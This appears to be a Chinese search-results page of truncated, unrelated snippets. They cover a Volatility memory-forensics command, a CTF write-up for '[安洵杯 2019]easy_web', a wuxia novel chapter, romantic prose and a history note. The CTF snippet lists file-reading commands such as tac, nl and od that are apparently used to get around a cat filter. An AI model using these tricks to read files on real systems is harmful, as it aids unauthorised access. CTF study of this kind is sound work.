  • [Asm] 纯文本查看 复制代码root@kali:~# volatility -f /root/桌面/mem.dump --profile=Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds H...
  • [安杯 2019]easy_web 1

    2020-11-12 20:05:21
    (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:二进制的方式读取档案内容(不推荐) (8)vi:一种编辑器,这个也可以...
  • 第二章 横贯广场

    2007-01-26 18:11:39
    大唐双龙传(第33卷) 第二章 横贯广场 寇仲闭上眼睛,同时暗中提聚功力,现在他恨不得食梅的肉,喝他的血,宣泄 被他破坏全盘大计的愤恨。 出奇地没有任有声音说话。 寇仲睁开眼睛,只见梅正把刀子送...
  • 于嗟兮,不我信兮。 生生死死悲欢离合,我只愿执子之手,与子白头。 只要是你,哪怕粗茶淡饭,我都愿意与你一同承受岁月变迁。 当老去那一天,当所有一切都已看平淡,唯愿能够依旧陪在你身边。 无论七夕,还是...
  • 唐睿宗即位后,对曾经属于敌对政治集团的武三思、武崇训父子,太平公主,韦玄贞、韦父子,均毁墓作为政治惩罚方式。宋哲宗绍圣年间,元祐时期为政的司马光及其政策遭到否定,于是有人建议发掘司马光墓。《元史·...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,217
精华内容 486
关键字:

以洵